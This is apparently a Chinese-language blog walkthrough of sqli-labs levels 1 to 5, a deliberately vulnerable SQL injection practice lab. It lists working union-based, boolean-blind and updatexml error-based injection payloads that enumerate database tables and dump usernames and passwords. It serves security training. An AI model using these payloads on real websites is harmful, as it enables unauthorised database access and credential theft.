sql-labs less-1-5wp

目录标题

less-1

判断列数

使用注释符可以将报错信息注释掉

2,3列回显,第一列不回显所以我们不使用它,但是要存在,因为需要和union保持前后列数一致

查找数据库和版本信息

数据库:security

php 复制代码
?id=-1' union select 1,version(),database() --+

查找数据库中的表

表:emails,referers,uagents,users

php 复制代码
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆破users表的列

列:id,username,password

php 复制代码
?id=-1'  union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+

爆破xx表xx列的数据

php 复制代码
-1' union select 1,group_concat(username),group_concat(pasword) from users#

Less-2

判断类型

因为**?id=2-1的值和1**相同,是数字型

php 复制代码
$sql="select * from tables where id=1 ";

判断注释符和回显点

2,3列回显

爆破

数据库和版本信息

爆破security数据库的表

php 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

爆破users表的列名

php 复制代码
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"

爆破表中数据

php 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-3

判断类型

输入2-1还是2的结果,字符型注入

判断注释符和回显点

可以看到报错信息

需要使用引号和)报错,注释符%23

利用方式闭合,一共有3列,回显点2,3列

爆破

爆破版本号和数据库

php 复制代码
?id=-1') union select 1,version(),database() %23

爆数据库下的表

拿到几个数据表

php 复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" %23

爆表下的列

拿到3个数据列

php 复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" %23

爆xx列的数据

拿到数据

php 复制代码
?id=-1') union select 1,group_concat(username),group_concat(password) from users %23

Less-4

观察报错信息

php 复制代码
 '"1"")  #闭合方式为后面两个字符,即我们传入的双引号之后  ")

与less-3相比,闭合方式发生了变化

Less-5(盲注)

判断类型和注释符

无论输入什么,都是回显这个,除非是报错信息

看看注入类型,字符型

报错回显如下,双引号不报错,单引号报错

php 复制代码
$sql="select * from xxx where $id="" ";

因为网页只回显次信息和报错信息,故初步判断,后端会接收前端的结果然后判断是true还是flase,然后处理回显,故是bool注入

可以利用**--+**注释

判断列数和回显点

利用order by 判断为4报错

可以看到有3列

使用union判断回显点,但是只返回次字符串

盲注攻击

攻击流程如下

php 复制代码
#判断数据库名长度
?id=1' and length(database())>=1 --+
?id=1' and length(database())>=10 --+
?id=1' and length(database())>=5 --+
?id=1' and length(database())>=7 --+
?id=1' and length(database())>=9 --+   #报错,说明长度为8

#数据库名称爆破    security
?id=1' and substr(database(),1,1)='d' --+  #匹配子字符串,从第一位开始提取1位
?id=1' and substr(database(),2,1)='sa' --+  #从第2位开始提取1位
....剩下的burp爆破即可

#爆破数据表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+  #limit限制字符长度,后续一个个爆破即可
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+     #查看users表下的列名
?id=1' and substr((select username from security.users limit 0,1),1,1)='c'--+   #查询列下的数据

成功回显,说明输入是正确的

无回显,说明数据库长度为8,即小于9

为8

判断数据库名称

无回显,说明第一个字符不位d

抓包添加变量,准备爆破

成功爆破出第一个字符s

剩下的字符一个个爆破即可

报错注入

php 复制代码
# ?id=1' and 跟语句
updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是'~'十六进制转化的结果,用来分割我们的结果
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),查看se库下面的第一张表
updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1),查看users表下面的第一个字段
updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1),查看users字段下面的password字段

如下,查到数据库

查询表名,可以看到每次只能返回一个结果,需要调节查询字段,(第0位开始,查询两字符)

查询其他表名

查询users表下的字段

查询字段下的数据

相关推荐
IvorySQL2 分钟前
PostgreSQL 分区表的 ALTER TABLE 语句执行机制解析
数据库·postgresql·开源
·云扬·12 分钟前
MySQL 8.0 Redo Log 归档与禁用实战指南
android·数据库·mysql
野生技术架构师14 分钟前
SQL语句性能优化分析及解决方案
android·sql·性能优化
IT邦德15 分钟前
Oracle 26ai DataGuard 搭建(RAC到单机)
数据库·oracle
惊讶的猫41 分钟前
redis分片集群
数据库·redis·缓存·分片集群·海量数据存储·高并发写
不爱缺氧i1 小时前
完全卸载MariaDB
数据库·mariadb
纤纡.1 小时前
Linux中SQL 从基础到进阶:五大分类详解与表结构操作(ALTER/DROP)全攻略
linux·数据库·sql
jiunian_cn1 小时前
【Redis】渐进式遍历
数据库·redis·缓存
橙露1 小时前
Spring Boot 核心原理:自动配置机制与自定义 Starter 开发
java·数据库·spring boot